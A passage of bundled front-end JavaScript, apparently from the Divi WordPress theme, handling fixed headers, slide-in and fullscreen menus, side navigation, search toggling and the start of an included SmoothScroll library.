et_container_actual_width, $slide_menu_container = $('.et_slide_in_menu_container'), $adminbar = builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"] ? top_window.jQuery('#wpadminbar') : $('#wpadminbar'), is_rtl = $('body').hasClass('rtl'), page_container_margin; if (et_is_fixed_nav && containerWidthChanged) { update_page_container_position(); // Update container width data for future resizing reference $et_container.data('previous-width', et_container_actual_width); } if (et_hide_nav) { et_hide_nav_transform(); } // Update header and primary adjustment when transitioning across breakpoints or inside visual builder if ($adminbar.length && et_is_fixed_nav && window_width >= 740 && window_width <= 782 || builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"]) { et_calculate_header_values(); et_change_primary_nav_position(0); } et_set_search_form_css(); if ($slide_menu_container.length && !$('body').hasClass('et_pb_slide_menu_active')) { if (is_rtl) { $slide_menu_container.css({ left: '-' + parseInt($slide_menu_container.innerWidth()) + 'px', right: 'unset' }); } else { $slide_menu_container.css({ right: '-' + parseInt($slide_menu_container.innerWidth()) + 'px' }); } if ($('body').hasClass('et_boxed_layout') && et_is_fixed_nav) { if (is_rtl) { page_container_margin = $main_container_wrapper.css('margin-right'); $main_header.css({ right: page_container_margin }); } else { page_container_margin = $main_container_wrapper.css('margin-left'); $main_header.css({ left: page_container_margin }); } } } if ($slide_menu_container.length && $('body').hasClass('et_pb_slide_menu_active')) { if ($('body').hasClass('et_boxed_layout')) { var left_position; page_container_margin = parseFloat($main_container_wrapper.css('margin-left')); $main_container_wrapper.css({ left: '-' + (parseInt($slide_menu_container.innerWidth()) - page_container_margin) + 'px' }); if (et_is_fixed_nav) { left_position = 0 > parseInt($slide_menu_container.innerWidth()) - page_container_margin * 2 ? Math.abs($slide_menu_container.innerWidth() - page_container_margin * 2) : '-' + ($slide_menu_container.innerWidth() - page_container_margin * 2); if (left_position < parseInt($slide_menu_container.innerWidth())) { $main_header.css({ left: left_position + 'px' }); } } } else { if (is_rtl) { $('#page-container, .et_fixed_nav #main-header').css({ right: '-' + parseInt($slide_menu_container.innerWidth()) + 'px' }); } else { $('#page-container, .et_fixed_nav #main-header').css({ left: '-' + parseInt($slide_menu_container.innerWidth()) + 'px' }); } } } // adjust the padding in fullscreen menu if ($slide_menu_container.length && $('body').hasClass('et_header_style_fullscreen')) { var top_bar_height = parseInt($slide_menu_container.find('.et_slide_menu_top').innerHeight()); $slide_menu_container.css({ 'padding-top': top_bar_height + 20 + 'px' }); } et_set_right_vertical_menu(); }); if (builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"] && jQuery('.et_header_style_fullscreen .et_slide_in_menu_container').length > 0) { jQuery(window).on('resize', et_pb_resize_fullscreen_menu); } $(function () { if ($.fn.fitVids) { $('#main-content').fitVids({ customSelector: "iframe[src^='http://www.hulu.com'], iframe[src^='http://www.dailymotion.com'], iframe[src^='http://www.funnyordie.com'], iframe[src^='https://embed-ssl.ted.com'], iframe[src^='http://embed.revision3.com'], iframe[src^='https://flickr.com'], iframe[src^='http://blip.tv'], iframe[src^='http://www.collegehumor.com']" }); } }); function et_all_elements_loaded() { if (et_is_fixed_nav) { et_calculate_header_values(); } // Run container position calculation with 0 timeout to make sure all elements are ready for proper calculation. setTimeout(function () { et_fix_page_container_position(); }, 0); // Minified JS is ordered differently to avoid jquery-migrate to cause js error. // This might cause hiccup on some specific configuration (ie. parallax of first module on transparent nav) // Triggerring resize, in most case, re-calculate the UI correctly if (window.et_is_minified_js && window.et_is_transparent_nav && !window.et_is_vertical_nav) { $(window).trigger('resize'); } if (window.hasOwnProperty('et_location_hash') && '' !== window.et_location_hash) { // Handle the page scroll that we prevented earlier in the <head> et_page_load_scroll_to_anchor(); } if (et_header_style_left && !window.et_is_vertical_nav) { var $logo_width = parseInt($('#logo').width()); if (et_is_rtl) { $et_top_navigation.css('padding-right', $logo_width + 30 + 'px'); } else { $et_top_navigation.css('padding-left', $logo_width + 30 + 'px'); } } if ($('p.demo_store').length && $('p.demo_store').is(':visible')) { $('#footer-bottom').css('margin-bottom', $('p.demo_store').innerHeight() + 'px'); $('.woocommerce-store-notice__dismiss-link').on('click', function () { $('#footer-bottom').css('margin-bottom', ''); }); } if ($.fn.waypoint) { var $waypoint_selector; if (et_is_vertical_fixed_nav) { $waypoint_selector = $('#main-content'); $waypoint_selector.waypoint({ handler: function handler(direction) { et_fix_logo_transition(); if (direction === 'down') { $('#main-header').addClass('et-fixed-header'); } else { $('#main-header').removeClass('et-fixed-header'); } } }); } if (et_is_fixed_nav) { // Changing waypoint selector to first section's row / module when transparent // nav is used only valid if the first section position is on offset top = 0 // (or 32 when admin bar exist) to avoid `et-fixed-nav` classname being added // too late when the window is scrolled too way down var firstRowOffsetTop = $et_pb_first_row.length > 0 ? $et_pb_first_row.offset().top : 0; var maxFirstRowOffsetTop = $('#wpadminbar').length ? $('#wpadminbar').height() : 0; var isFirstRowOnTop = firstRowOffsetTop <= maxFirstRowOffsetTop; if (isFirstRowOnTop && window.et_is_transparent_nav && !window.et_is_vertical_nav && $et_pb_first_row.length) { // Fullscreen section at the first row requires specific adjustment if ($et_pb_first_row.is('.et_pb_fullwidth_section')) { $waypoint_selector = $et_pb_first_row.children('.et_pb_module:visible').first(); } else { $waypoint_selector = $et_pb_first_row.find('.et_pb_row:visible').first(); } // Fallback for a less likely but possible scenario: a) fullwidth section // has no module OR b) other section has no row. When this happened, // the safest option is look for the first visible module and use it // as waypoint selector if (!$waypoint_selector.length) { $waypoint_selector = et_get_first_module(); } } else if (isFirstRowOnTop && window.et_is_transparent_nav && !window.et_is_vertical_nav && $et_main_content_first_row.length) { $waypoint_selector = $('#content-area'); } else { $waypoint_selector = $('#main-content'); } // Disabled section/row/module can cause waypoint to trigger 'down' event during its setup even if // no scrolling happened, which would result in 'et-fixed-header' class being prematurely added. // Since this only happens when page is loaded, we add an extra check that is no longer needed // as soon as waypoint initialization is finished. var checkIfScrolled = true; setTimeout(function () { checkIfScrolled = false; }, 0); $waypoint_selector.waypoint({ offset: function offset() { if (etRecalculateOffset) { setTimeout(function () { et_calculate_header_values(); }, 200); etRecalculateOffset = false; } if (et_hide_nav) { return et_header_offset - et_header_height - 200; } else { // Transparent nav modification: #page-container's offset is set to 0. Modify et_header_offset's according to header height var waypoint_selector_offset = $waypoint_selector.offset(); if (waypoint_selector_offset.top < et_header_offset) { et_header_offset = 0 - (et_header_offset - waypoint_selector_offset.top); } return et_header_offset; } }, handler: function handler(direction) { et_fix_logo_transition(); if (direction === 'down') { if (checkIfScrolled && $et_window.scrollTop() === 0) { return; } $main_header.addClass('et-fixed-header'); $main_container_wrapper.addClass('et-animated-content'); $top_header.addClass('et-fixed-header'); if (!et_hide_nav && !window.et_is_transparent_nav && !$('.mobile_menu_bar_toggle').is(':visible')) { var secondary_nav_height = $top_header.length ? parseInt($top_header.height()) : 0, $clone_header, clone_header_height, fix_padding; $clone_header = $main_header.clone().addClass('et-fixed-header, et_header_clone').css({ 'transition': 'none', 'display': 'none' }); clone_header_height = parseInt($clone_header.prependTo('body').height()); // Vertical nav doesn't need #page-container margin-top adjustment if (!window.et_is_vertical_nav) { fix_padding = parseInt($main_container_wrapper.css('padding-top')) - clone_header_height - secondary_nav_height + 1; $main_container_wrapper.css('margin-top', -fix_padding + 'px'); } $('.et_header_clone').remove(); } } else { fix_padding = 1; $main_header.removeClass('et-fixed-header'); $top_header.removeClass('et-fixed-header'); $main_container_wrapper.css('margin-top', -fix_padding + 'px'); } // Dispatch event when fixed header height transition starts window.dispatchEvent(new CustomEvent('ETDiviFixedHeaderTransitionStart', { detail: { marginTop: -fix_padding } })); setTimeout(function () { et_set_search_form_css(); // Dispatch another event when fixed header height transition ends window.dispatchEvent(new CustomEvent('ETDiviFixedHeaderTransitionEnd', { detail: { marginTop: -fix_padding } })); }, 400); } }); } if (et_hide_nav) { et_hide_nav_transform(); } } } $('a[href*="#"]:not([href="#"]), .mobile_nav').on('click', function (e) { var $this_link = $(this), has_closest_smooth_scroll_disabled = $this_link.closest('.et_smooth_scroll_disabled').length, has_closest_woocommerce_tabs = $this_link.closest('.woocommerce-tabs').length && $this_link.closest('.tabs').length, has_closest_timetable_tab = $this_link.closest('.tt_tabs_navigation').length, has_closest_eab_cal_link = $this_link.closest('.eab-shortcode_calendar-navigation-link').length, has_closest_ee_cart_link = $this_link.closest('.view-cart-lnk').length, has_acomment_reply = $this_link.hasClass('acomment-reply'), is_woocommerce_review_link = $this_link.hasClass('woocommerce-review-link'), disable_scroll = has_closest_smooth_scroll_disabled || has_closest_ee_cart_link || has_closest_woocommerce_tabs || has_closest_eab_cal_link || has_acomment_reply || is_woocommerce_review_link || has_closest_timetable_tab; if (($this_link.hasClass('mobile_nav') || location.pathname.replace(/^\//, '') == this.pathname.replace(/^\//, '') && location.hostname == this.hostname) && !disable_scroll) { var target = $(this.hash); // Workaround for empty target in mobile menu. if ($this_link.hasClass('mobile_nav')) { target = $('#' + e.target.hash.slice(1)); // Workaround for Popup Maker plugin not working in mobile. if ($(e.target).parent().hasClass('pum-trigger')) { e.preventDefault(); var temp_classes = $(e.target).parent().attr('class').split(' '); var pop_make_classes = temp_classes.filter(function (pop_make_class) { return pop_make_class.includes('popmake'); }); var id_slug = pop_make_classes[0].split('-')[1]; $("#pum-".concat(id_slug)).css({ 'opacity': '1', 'display': 'block' }); $("#popmake-".concat(id_slug)).css({ 'opacity': '1', 'display': 'block' }); } } if (!target.length && this.hash) { target = $('[name=' + this.hash.slice(1) + ']'); } if (target.length) { // Workaround for reviews tab in woo tabs. if ($(this).parents().hasClass('widget_recent_reviews')) { $('.reviews_tab').trigger('click').animate({ scrollTop: target.offset().top }, 700); } // automatically close fullscreen menu if clicked from there if ($this_link.closest('.et_pb_fullscreen_menu_opened').length > 0) { et_pb_toggle_fullscreen_menu(); } setTimeout(function () { et_pb_smooth_scroll(target, false, 800); }, 0); if (!$('#main-header').hasClass('et-fixed-header') && $('body').hasClass('et_fixed_nav') && $(window).width() > 980) { setTimeout(function () { et_pb_smooth_scroll(target, false, 40, 'linear'); }, 780); } return false; } } }); var et_pb_window_side_nav_get_sections = function et_pb_window_side_nav_get_sections() { var $postRoot = $('.et-l--post'); var $inTBBody = $('.et-l--body .et_pb_section').not('.et-l--post .et_pb_section'); var $inPost; if (builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"]) { $inPost = $postRoot.find('.et-fb-post-content > .et_pb_section'); } else { $inPost = $postRoot.find('.et_builder_inner_content > .et_pb_section'); } if (0 === $inTBBody.length || $inPost.length > 1) { return $inPost; } return $inTBBody; }; window.et_pb_window_side_nav_scroll_init = function () { if (true === window.et_calculating_scroll_position || false === window.et_side_nav_links_initialized) { return; } var $sections = et_pb_window_side_nav_get_sections(); window.et_calculating_scroll_position = true; var is_tb_layout_used = $('.et-l--header').length || $('.et-l--body').length || !$('#main-header').length; var add_offset_default = is_tb_layout_used ? 0 : -90; var add_offset = $('body').hasClass('et_fixed_nav') ? 20 : add_offset_default; var top_header_height = $('#top-header').length > 0 ? parseInt($('#top-header').height()) : 0; var main_header_height = $('#main-header').length > 0 ? parseInt($('#main-header').height()) : 0; var side_offset; if ($('#wpadminbar').length > 0 && parseInt($(window).width()) > 600) { add_offset += parseInt($('#wpadminbar').outerHeight()); } if (window.et_is_vertical_nav) { side_offset = top_header_height + add_offset + 60; } else { side_offset = top_header_height + main_header_height + add_offset; } var window_height = parseInt($(window).height()); var scroll_position = parseInt($(window).scrollTop()); var document_height = parseInt($(document).height()); var at_bottom_of_page = window_height + scroll_position === document_height; var total_links = $('.side_nav_item a').length - 1; for (var link = 0; link <= total_links; link++) { var $target_section = $sections.eq(link); var at_top_of_page = 'undefined' === typeof $target_section.offset(); var current_active = $('.side_nav_item a.active').parent().index(); var next_active = null; var target_offset = false === at_top_of_page ? $target_section.offset().top - side_offset : 0; if (at_top_of_page) { next_active = 0; } else if (at_bottom_of_page) { next_active = total_links; } else if (scroll_position >= target_offset) { next_active = link; } if (null !== next_active && next_active !== current_active) { $('.side_nav_item a').removeClass('active'); $('a#side_nav_item_id_' + next_active).addClass('active'); } } window.et_calculating_scroll_position = false; }; window.et_pb_side_nav_page_init = function () { var $sections = et_pb_window_side_nav_get_sections(); var total_sections = $sections.length; var side_nav_offset = parseInt((total_sections * 20 + 40) / 2); window.et_side_nav_links_initialized = false; window.et_calculating_scroll_position = false; if (total_sections > 1 && $('.et_pb_side_nav_page').length) { $('#main-content').append('<ul class="et_pb_side_nav"></ul>'); $sections.each(function (index, element) { var active_class = 0 === index ? 'active' : ''; $('.et_pb_side_nav').append('<li class="side_nav_item"><a href="#" id="side_nav_item_id_' + index + '" class= "' + active_class + '">' + index + '</a></li>'); if (total_sections - 1 === index) { window.et_side_nav_links_initialized = true; } }); $('ul.et_pb_side_nav').css('marginTop', '-' + side_nav_offset + 'px'); $('.et_pb_side_nav').addClass('et-visible'); $('.et_pb_side_nav a').on('click', function () { // We use the index position of the sections to locate them instead of custom classes so // that we have the same implementation for the frontend website and the Visual Builder. var index = parseInt($(this).text()); var $target = $sections.eq(index); var top_section = $(this).text() == "0" && !$('.et-l--body').length; et_pb_smooth_scroll($target, top_section, 800); if (!$('#main-header').hasClass('et-fixed-header') && $('body').hasClass('et_fixed_nav') && parseInt($(window).width()) > 980) { setTimeout(function () { et_pb_smooth_scroll($target, top_section, 200); }, 500); } return false; }); $(window).on('scroll', et_pb_window_side_nav_scroll_init); } }; if ($('body').is('.et-fb, .et-bfb')) { // Debounce slow function window.et_pb_side_nav_page_init = et_debounce(window.et_pb_side_nav_page_init, 200); } et_pb_side_nav_page_init(); if ($('.et_pb_scroll_top').length) { $(window).on('scroll', function () { if ($(this).scrollTop() > 800) { $('.et_pb_scroll_top').show().removeClass('et-hidden').addClass('et-visible'); } else { $('.et_pb_scroll_top').removeClass('et-visible').addClass('et-hidden'); } }); //Click event to scroll to top $('.et_pb_scroll_top').on('click', function () { $('html, body').animate({ scrollTop: 0 }, 800); }); } if ($('.comment-reply-link').length) { $('.comment-reply-link').addClass('et_pb_button'); } $('#et_top_search').on('click', function () { var $search_container = $('.et_search_form_container'); if ($search_container.hasClass('et_pb_is_animating')) { return; } $('.et_menu_container').removeClass('et_pb_menu_visible et_pb_no_animation').addClass('et_pb_menu_hidden'); $search_container.removeClass('et_pb_search_form_hidden et_pb_no_animation').addClass('et_pb_search_visible et_pb_is_animating'); setTimeout(function () { $('.et_menu_container').addClass('et_pb_no_animation'); $search_container.addClass('et_pb_no_animation').removeClass('et_pb_is_animating'); }, 1000); $search_container.find('input').trigger('focus'); et_set_search_form_css(); }); function et_hide_search() { if ($('.et_search_form_container').hasClass('et_pb_is_animating')) { return; } $('.et_menu_container').removeClass('et_pb_menu_hidden et_pb_no_animation').addClass('et_pb_menu_visible'); $('.et_search_form_container').removeClass('et_pb_search_visible et_pb_no_animation').addClass('et_pb_search_form_hidden et_pb_is_animating'); setTimeout(function () { $('.et_menu_container').addClass('et_pb_no_animation'); $('.et_search_form_container').addClass('et_pb_no_animation').removeClass('et_pb_is_animating'); }, 1000); } function et_set_search_form_css() { var $search_container = $('.et_search_form_container'); var $body = $('body'); if ($search_container.hasClass('et_pb_search_visible')) { var header_height = $('#main-header').innerHeight(), menu_width = $('#top-menu').width(), font_size = $('#top-menu li a').css('font-size'); $search_container.css({ 'height': header_height + 'px' }); $search_container.find('input').css('font-size', font_size); if (!$body.hasClass('et_header_style_left')) { $search_container.css('max-width', menu_width + 60 + 'px'); } else { $search_container.find('form').css('max-width', menu_width + 60 + 'px'); } } } $('.et_close_search_field').on('click', function () { et_hide_search(); }); $(document).on('mouseup', function (e) { var $header = $('#main-header'); if ($('.et_menu_container').hasClass('et_pb_menu_hidden')) { if (!$header.is(e.target) && $header.has(e.target).length === 0) { et_hide_search(); } } }); // Detect actual logo dimension, used for tricky fixed navigation transition function et_define_logo_dimension() { var logo_src = $logo.is('img') ? $logo.attr('src') : $logo.find('img').attr('src'), is_svg = logo_src.substr(-3, 3) === 'svg' ? true : false, $logo_wrap, logo_width, logo_height; // Append invisible wrapper at the bottom of the page $('body').append($('<div />', { 'id': 'et-define-logo-wrap', 'style': 'position: fixed; bottom: 0; opacity: 0;' })); // Define logo wrap $logo_wrap = $('#et-define-logo-wrap'); if (is_svg) { $logo_wrap.addClass('svg-logo'); } // Clone logo to invisible wrapper $logo_wrap.html($logo.clone().css({ 'display': 'block' }).removeAttr('id')); // Get dimension logo_width = $logo_wrap.find('img').width(); logo_height = $logo_wrap.find('img').height(); // Add data attribute to $logo $logo.attr({ 'data-actual-width': logo_width, 'data-actual-height': logo_height }); // Destroy invisible wrapper $logo_wrap.remove(); // Init logo transition onload et_fix_logo_transition(true); } if ($logo.length) { var logo_src = $logo.is('img') ? $logo.attr('src') : $logo.find('img').attr('src'); // Wait until logo is loaded before performing logo dimension fix // This comes handy when the page is heavy due to the use of images or other assets et_preload_image(logo_src, et_define_logo_dimension); } // Set width for adsense in footer widget $('.footer-widget').each(function () { var $footer_widget = $(this), footer_widget_width = $footer_widget.width(), $adsense_ins = $footer_widget.find('.widget_adsensewidget ins'); if ($adsense_ins.length) { $adsense_ins.width(footer_widget_width); } }); /** * Visual Builder adjustment */ function et_fb_side_nav_page_init() { $(window).off('scroll', window.et_pb_window_side_nav_scroll_init); $('#main-content .et_pb_side_nav').off('click', '.et_pb_side_nav a'); $('#main-content .et_pb_side_nav').remove(); et_pb_side_nav_page_init(); } if ($('body').is('.et-fb')) { $(window).on('et_fb_root_did_mount', function () { et_fb_side_nav_page_init(); et_all_elements_loaded(); }); $(window).on('et_fb_section_content_change', et_fb_side_nav_page_init); } else { window.addEventListener('load', et_all_elements_loaded); } }); // Fixing logo size transition in tricky header style function et_fix_logo_transition(is_onload) { var $body = $('body'), $logo = $('#logo'), logo_actual_width = parseInt($logo.attr('data-actual-width')), logo_actual_height = parseInt($logo.attr('data-actual-height')), logo_height_percentage = parseInt($logo.attr('data-height-percentage')), $top_nav = $('#et-top-navigation'), top_nav_height = parseInt($top_nav.attr('data-height')), top_nav_fixed_height = parseInt($top_nav.attr('data-fixed-height')), $main_header = $('#main-header'), is_header_split = $body.hasClass('et_header_style_split'), is_fixed_nav = $main_header.hasClass('et-fixed-header'), is_hide_primary_logo = $body.hasClass('et_hide_primary_logo'), is_hide_fixed_logo = $body.hasClass('et_hide_fixed_logo'), logo_height_base = is_fixed_nav ? top_nav_height : top_nav_fixed_height, logo_wrapper_width, logo_wrapper_height; is_onload = typeof is_onload === 'undefined' ? false : is_onload; // Fix for inline centered logo in horizontal nav if (is_header_split && !window.et_is_vertical_nav) { // On page load, logo_height_base should be top_nav_height if (is_onload) { logo_height_base = top_nav_height; } // Calculate logo wrapper height logo_wrapper_height = logo_height_base * (logo_height_percentage / 100) + 22; // Calculate logo wrapper width logo_wrapper_width = logo_actual_width * (logo_wrapper_height / logo_actual_height); // Override logo wrapper width to 0 if it is hidden if (is_hide_primary_logo && (is_fixed_nav || is_onload)) { logo_wrapper_width = 0; } if (is_hide_fixed_logo && !is_fixed_nav && !is_onload) { logo_wrapper_width = 0; } // Set fixed width for logo wrapper to force correct dimension $('.et_header_style_split .centered-inline-logo-wrap').css({ 'width': logo_wrapper_width + 'px' }); } } function et_toggle_slide_menu(force_state) { var $slide_menu_container = $('.et_header_style_slide .et_slide_in_menu_container'), $page_container = $('.et_header_style_slide #page-container, .et_header_style_slide.et_fixed_nav #main-header'), $header_container = $('.et_header_style_slide #main-header'), is_menu_opened = $slide_menu_container.hasClass('et_pb_slide_menu_opened'), set_to = typeof force_state !== 'undefined' ? force_state : 'auto', is_boxed_layout = $('body').hasClass('et_boxed_layout'), page_container_margin = is_boxed_layout ? parseFloat($('#page-container').css('margin-left')) : 0, slide_container_width = $slide_menu_container.innerWidth(), is_rtl = $('body').hasClass('rtl'); if ('auto' !== set_to && (is_menu_opened && 'open' === set_to || !is_menu_opened && 'close' === set_to)) { return; } if (is_menu_opened) { if (is_rtl) { $slide_menu_container.css({ left: '-' + slide_container_width + 'px' }); $page_container.css({ right: '0px' }); } else { $slide_menu_container.css({ right: '-' + slide_container_width + 'px' }); $page_container.css({ left: '0px' }); } if (is_boxed_layout && et_is_fixed_nav) { if (is_rtl) { $header_container.css({ right: page_container_margin + 'px' }); } else { $header_container.css({ left: page_container_margin + 'px' }); } } // hide the menu after animation completed setTimeout(function () { $slide_menu_container.css({ 'display': 'none' }); }, 700); } else { $slide_menu_container.css({ 'display': 'block' }); // add some delay to make sure css animation applied correctly setTimeout(function () { if (is_rtl) { $slide_menu_container.css({ left: '0px' }); $page_container.css({ right: '-' + (slide_container_width - page_container_margin) + 'px' }); } else { $slide_menu_container.css({ right: '0px' }); $page_container.css({ left: '-' + (slide_container_width - page_container_margin) + 'px' }); } if (is_boxed_layout && et_is_fixed_nav) { var left_position = 0 > slide_container_width - page_container_margin * 2 ? Math.abs(slide_container_width - page_container_margin * 2) : '-' + (slide_container_width - page_container_margin * 2); if (left_position < slide_container_width) { if (is_rtl) { $header_container.css({ right: left_position + 'px' }); } else { $header_container.css({ left: left_position + 'px' }); } } } }, 50); } $('body').toggleClass('et_pb_slide_menu_active'); $slide_menu_container.toggleClass('et_pb_slide_menu_opened'); } // Scrolling to the correct place on page if Fixed Nav enabled function et_adjust_woocommerce_checkout_scroll() { if (!et_is_fixed_nav) { return; } var window_width = parseInt($et_window.width()); if (980 >= window_width) { return; } var headerHeight = parseInt($('#main-header').length ? $('#main-header').innerHeight() : 0); // scroll to the top of checkout form taking into account fixed header height $('html, body').animate({ scrollTop: $('form.checkout').offset().top - 100 - headerHeight }, 1000); } $('#main-header').on('click', '.et_toggle_slide_menu', function () { et_toggle_slide_menu(); }); if (et_is_touch_device) { // open slide menu on swipe left $et_window.on('swipeleft', function (event) { var window_width = parseInt($et_window.width()), swipe_start = parseInt(event.swipestart.coords[0]); // horizontal coordinates of the swipe start // if swipe started from the right edge of screen then open slide menu if (30 >= window_width - swipe_start) { et_toggle_slide_menu('open'); } }); // close slide menu on swipe right $et_window.on('swiperight', function (event) { if ($('body').hasClass('et_pb_slide_menu_active')) { et_toggle_slide_menu('close'); } }); } $('#page-container').on('click', '.et_toggle_fullscreen_menu', function () { et_pb_toggle_fullscreen_menu(); }); function et_pb_toggle_fullscreen_menu() { var $menu_container = $('.et_header_style_fullscreen .et_slide_in_menu_container'), top_bar_height = $menu_container.find('.et_slide_menu_top').innerHeight(); $menu_container.toggleClass('et_pb_fullscreen_menu_opened'); $('body').toggleClass('et_pb_fullscreen_menu_active'); et_pb_resize_fullscreen_menu(); if ($menu_container.hasClass('et_pb_fullscreen_menu_opened')) { $menu_container.addClass('et_pb_fullscreen_menu_animated'); // adjust the padding in fullscreen menu $menu_container.css({ 'padding-top': top_bar_height + 20 + 'px' }); } else { setTimeout(function () { $menu_container.removeClass('et_pb_fullscreen_menu_animated'); }, 1000); } } function et_pb_resize_fullscreen_menu(e) { if (builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"]) { var $menu = jQuery('.et_header_style_fullscreen .et_slide_in_menu_container.et_pb_fullscreen_menu_opened'); if ($menu.length > 0) { var height = jQuery(top_window).height(); // Account for padding height -= parseInt($menu.css('padding-top'), 10); // and AdminBar if ($menu.closest('.admin-bar').length > 0) { height -= 32; } $menu.find('.et_pb_fullscreen_nav_container').css('max-height', height + 'px'); } } } $(window).on('visibilitychange', function () { /** * Fix the issue with Fullscreen menu, that remains open, * when back button is clicked in Firefox */ if ($('body').hasClass('et_pb_fullscreen_menu_active')) { $('.et_toggle_fullscreen_menu').trigger('click'); } }); $('.et_pb_fullscreen_nav_container').on('click', 'li.menu-item-has-children > a', function () { var $this_parent = $(this).closest('li'), $this_arrow = $this_parent.find('>a .et_mobile_menu_arrow'), $closest_submenu = $this_parent.find('>ul'), is_opened_submenu = $this_arrow.hasClass('et_pb_submenu_opened'), sub_menu_max_height; $this_arrow.toggleClass('et_pb_submenu_opened'); if (is_opened_submenu) { $closest_submenu.removeClass('et_pb_slide_dropdown_opened'); $closest_submenu.slideToggle(700, 'easeInOutCubic'); } else { $closest_submenu.slideToggle(700, 'easeInOutCubic'); $closest_submenu.addClass('et_pb_slide_dropdown_opened'); } return false; }); // define initial padding-top for fullscreen menu container if ($('body').hasClass('et_header_style_fullscreen')) { var $menu_container = $('.et_header_style_fullscreen .et_slide_in_menu_container'); if ($menu_container.length) { var top_bar_height = $menu_container.find('.et_slide_menu_top').innerHeight(); $menu_container.css({ 'padding-top': top_bar_height + 20 + 'px' }); } } // adjust the scrolling position on Woocommerce checkout page in case of error $(document.body).on('checkout_error', function () { et_adjust_woocommerce_checkout_scroll(); }); $(document.body).on('updated_checkout', function (data) { if ('failure' !== data.result) { return; } et_adjust_woocommerce_checkout_scroll(); }); // Override row selector in VB $et_window.on('et_fb_init', function () { var wp = top_window.wp; if (wp && wp.hooks && wp.hooks.addFilter) { var replacement = window.DIVI.row_selector; wp.hooks.addFilter('et.pb.row.css.selector', 'divi.et.pb.row.css.selector', function (selector) { return selector.replace('%%row_selector%%', replacement); }); } }); })(jQuery); /***/ }), /***/ "./js/src/custom.unified.js": /*!**********************************!*\ !*** ./js/src/custom.unified.js ***! \**********************************/ /*! no exports provided */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony import */ var epanel_webpack_scripts_js__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! epanel/.webpack/scripts.js */ "./epanel/.webpack/scripts.js"); /* harmony import */ var builder_webpack_scripts_js__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! builder/.webpack/scripts.js */ "./includes/builder/.webpack/scripts.js"); /* harmony import */ var _src_smoothscroll_js__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../src/smoothscroll.js */ "./js/src/smoothscroll.js"); /* harmony import */ var _src_smoothscroll_js__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_src_smoothscroll_js__WEBPACK_IMPORTED_MODULE_2__); /* harmony import */ var _custom_js__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./custom.js */ "./js/src/custom.js"); /***/ }), /***/ "./js/src/smoothscroll.js": /*!********************************!*\ !*** ./js/src/smoothscroll.js ***! \********************************/ /*! no static exports found */ /***/ (function(module, exports) { /*! * SmoothScroll for websites v1.2.1 * Licensed under the terms of the MIT license. * * People involved * - Balazs Galambosi (maintainer) * - Michael Herf (Pulse Algorithm) */ (function () { // Scroll Variables (tweakable) var defaultOptions = { // Scrolling Core frameRate: 150, // [Hz] animationTime: 400, // [px] stepSize: 80, // [px] // Pulse (less tweakable) // ratio of "tail" to "acceleration" pulseAlgorithm: true, pulseScale: 8, pulseNormalize: 1, // Acceleration accelerationDelta: 20, // 20 accelerationMax: 1, // 1 // Keyboard Settings keyboardSupport: true, // option arrowScroll: 50, // [px] // Other touchpadSupport: true, fixedBackground: true, excluded: "" }; var options = defaultOptions; // Other Variables var isExcluded = false; var isFrame = false; var direction = { x: 0, y: 0 }; var initDone = false; var root = document.documentElement; var activeElement; var observer; var deltaBuffer = [120, 120, 120]; var key = { left: 37, up: 38, right: 39, down: 40, spacebar: 32, pageup: 33, pagedown: 34, end: 35, home: 36 }; /*********************************************** * SETTINGS ***********************************************/ var options = defaultOptions; /*********************************************** * INITIALIZE ***********************************************/ /** * Tests if smooth scrolling is allowed. Shuts down everything if not. */ function initTest() { // Disable keyboard in VB/BFB var disableKeyboard = document.body.classList.contains('et-fb'); // disable keyboard support if anything above requested it if (disableKeyboard) { removeEvent("keydown", keydown); } if (options.keyboardSupport && !disableKeyboard) { addEvent("keydown", keydown); } } /** * Sets up scrolls array, determines if frames are involved. */ function init() { if (!document.body) return; var body = document.body; var html = document.documentElement; var windowHeight = window.innerHeight; var scrollHeight = body.scrollHeight; // check compat mode for root element root = document.compatMode.indexOf('CSS') >= 0 ? html : body; activeElement = body; initTest(); initDone = true; // Checks if this script is running in a frame if (top != self) { isFrame = true; } /** * This fixes a bug where the areas left and right to * the content does not trigger the onmousewheel event * on some pages. e.g.: html, body { height: 100% } */ else if (scrollHeight > windowHeight && (body.offsetHeight <= windowHeight || html.offsetHeight <= windowHeight)) { // DOMChange (throttle): fix height var pending = false; var refresh = function refresh() { if (!pending && html.scrollHeight != document.height) { pending = true; // add a new pending action setTimeout(function () { html.style.height = document.height + 'px'; pending = false; }, 500); // act rarely to stay fast } }; html.style.height = 'auto'; setTimeout(refresh, 10); // clearfix if (root.offsetHeight <= windowHeight) { var underlay = document.createElement("div"); underlay.style.clear = "both"; body.appendChild(underlay); } } // disable fixed background if (!options.fixedBackground && !isExcluded) { body.style.backgroundAttachment = "scroll"; html.style.backgroundAttachment = "scroll"; } } /************************************************ * SCROLLING ************************************************/ var que = []; var pending = false; var lastScroll = +new Date(); /** * Pushes scroll actions to the scrolling queue. */ function scrollArray(elem, left, top, delay) { delay || (delay = 1000); directionCheck(left, top); if (options.accelerationMax != 1) { var now = +new Date(); var elapsed = now - lastScroll; if (elapsed < options.accelerationDelta) { var factor = (1 + 30 / elapsed) / 2; if (factor > 1) { factor = Math.min(factor, options.accelerationMax); left *= factor; top *= factor; } } lastScroll = +new Date(); } // push a scroll command que.push({ x: left, y: top, lastX: left < 0 ? 0.99 : -0.99, lastY: top < 0 ? 0.99 : -0.99, start: +new Date() }); // don't act if there's a pending queue if (pending) { return; } var scrollWindow = elem === document.body; var step = function step(time) { var now = +new Date(); var scrollX = 0; var scrollY = 0; for (var i = 0; i < que.length; i++) { var item = que[i]; var elapsed = now - item.start; var finished = elapsed >= options.animationTime; // scroll position: [0, 1] var position = finished ? 